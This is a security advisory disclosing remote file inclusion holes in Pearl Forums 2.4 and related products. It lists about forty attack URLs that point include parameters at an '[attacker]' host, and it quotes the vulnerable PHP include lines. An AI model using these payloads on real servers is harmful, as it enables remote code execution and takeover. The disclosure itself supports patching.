Pearl Products Multiple Remote File Inclusion Discovered By zero [Moroccan Security Team]
Affected softwares: Pearl Forums 2.4 Ngoc Biec 1.4 Pearl For Biz 2.4 Pearl For Mambo 1.6 URL : http://sourceforge.net/projects/pearlforums/ Risk : High Impact: System access ------[ PoC ]----------------------------------------- /index.php?Document[languagePreference]=[attacker] /index.php?includesDirectory=[attacker] /index.php?templatesDirectory=[attacker] /includes/adminAttachments.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminAvatars.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminBackupdatabase.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminBanned.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminBoards.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminDocumentation.php?Document[languagePreference]=[attacker] /includes/adminEmails.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminErrorlogs.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminForums.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminGroups.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminMembers.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminPolls.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminReserved.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminSensored.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminSettings.php?GlobalSettings[templatesDirectory]=[attacker] /includes/adminSmileys.php?GlobalSettings[templatesDirectory]=[attacker] /includes/help.php?Document[languagePreference]=[attacker] /includes/initialize.php?GlobalSettings[templatesDirectory]=[attacker] /includes/locale.php?GlobalSettings[templatesDirectory]=[attacker] /includes/login.php?GlobalSettings[templatesDirectory]=[attacker] /includes/members.php?GlobalSettings[templatesDirectory]=[attacker] /includes/merge.php?GlobalSettings[templatesDirectory]=[attacker] /includes/move.php?GlobalSettings[templatesDirectory]=[attacker] /includes/notify.php?GlobalSettings[templatesDirectory]=[attacker] /includes/password.php?GlobalSettings[templatesDirectory]=[attacker] /includes/password.php?Document[languagePreference]=[attacker] /includes/poll.php?GlobalSettings[templatesDirectory]=[attacker] /includes/post.php?GlobalSettings[templatesDirectory]=[attacker] /includes/profile.php?GlobalSettings[templatesDirectory]=[attacker] /includes/register.php?GlobalSettings[templatesDirectory]=[attacker] /includes/search.php?GlobalSettings[templatesDirectory]=[attacker] /includes/split.php?GlobalSettings[templatesDirectory]=[attacker] /includes/terms.php?Document[languagePreference]=[attacker] /includes/topics.php?GlobalSettings[templatesDirectory]=[attacker] So if register_globals=on remote attacker could inject arbitrary variable by Document[languagePreference] , GlobalSettings[templatesDirectory] or GlobalSettings[includesDirectory] ---[ Vuln Code ]-------------------------------------- [code index.php] 24. include("$Document[languagePreference]/lang.php"); 28. include("$includesDirectory/initialize.php"); 35. include("$templatesDirectory/master.php"); [/code] [code /includes/adminAttachments.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminAttachments.php"); [/code] [code /includes/adminAvatars.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminAvatars.php"); [/code] [code /includes/adminBackupdatabase.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminBackupdatabase.php"); [/code] [code /includes/adminBanned.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminBanned.php"); [/code] [code /includes/adminBoards.php] 21. include_once("$GlobalSettings[templatesDirectory]/adminBoards.php"); [/code] [code /includes/adminDocumentation.php] 18. include_once("$Document[languagePreference]/documentation.php"); [/code] [code /includes/adminEmails.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminEmails.php"); [/code] [code /includes/adminErrorlogs.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminErrorlogs.php"); [/code] [code /includes/adminForums.php] 21. include_once("$GlobalSettings[templatesDirectory]/adminForums.php"); [/code] [code /includes/adminGroups.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminGroups.php"); [/code] [code /includes/adminMembers.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminMembers.php"); [/code] [code /includes/adminPolls.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminPolls.php"); [/code] [code /includes/adminReserved.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminReserved.php"); [/code] [code /includes/adminSensored.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminSensored.php"); [/code] [code /includes/adminSettings.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminSettings.php"); [/code] [code /includes/adminSmileys.php] 19. include_once("$GlobalSettings[templatesDirectory]/adminSmileys.php"); [/code] [code /includes/help.php] 18. include_once("$Document[languagePreference]/help.php"); [/code] [code /includes/initialize.php] 47. include_once("$GlobalSettings[templatesDirectory]/master.php"); [/code] [code /includes/locale.php] 18. include_once("$GlobalSettings[templatesDirectory]/locale.php"); [/code] [code /includes/login.php] 39. include_once("$GlobalSettings[templatesDirectory]/login.php"); [/code] [code /includes/members.php] 19. include_once("$GlobalSettings[templatesDirectory]/members.php"); [/code] [code /includes/merge.php] 18. include_once("$GlobalSettings[templatesDirectory]/merge.php"); [/code] [code /includes/move.php] 18. include_once("$GlobalSettings[templatesDirectory]/move.php"); [/code] [code /includes/notify.php] 18. include_once("$GlobalSettings[templatesDirectory]/notify.php"); [/code] [code /includes/password.php] 19. include_once("$GlobalSettings[templatesDirectory]/password.php"); 20. include_once("$Document[languagePreference]/passwordMessages.php"); [/code] [code /includes/poll.php] 18. include_once("$GlobalSettings[templatesDirectory]/poll.php"); [/code] [code /includes/post.php] 18. include_once("$GlobalSettings[templatesDirectory]/post.php"); [/code] [code /includes/profile.php] 18. include_once("$GlobalSettings[templatesDirectory]/profile.php"); [/code] [code /includes/register.php] 18. include_once("$GlobalSettings[templatesDirectory]/register.php"); [/code] [code /includes/search.php] 19. include_once("$GlobalSettings[templatesDirectory]/search.php"); [/code] [code /includes/split.php] 18. include_once("$GlobalSettings[templatesDirectory]/split.php"); [/code] [code /includes/terms.php] 18. include_once("$Document[languagePreference]/termsContents.php"); [/code] [code /includes/topics.php] 18. include_once("$GlobalSettings[templatesDirectory]/topics.php"); [/code] - Solution ------------------------------------------------------ declare variables - Greetz ------------------------------------------------------ simo64, tahati, net_ghost, dabdoub, simo dreaminfo, iss4m, zerosecure, hunter, themenotor ... - Contact ------------------------------------------------------ Author: Mourad [ zero ] Email : xzerox(at)linuxmail(dot)org
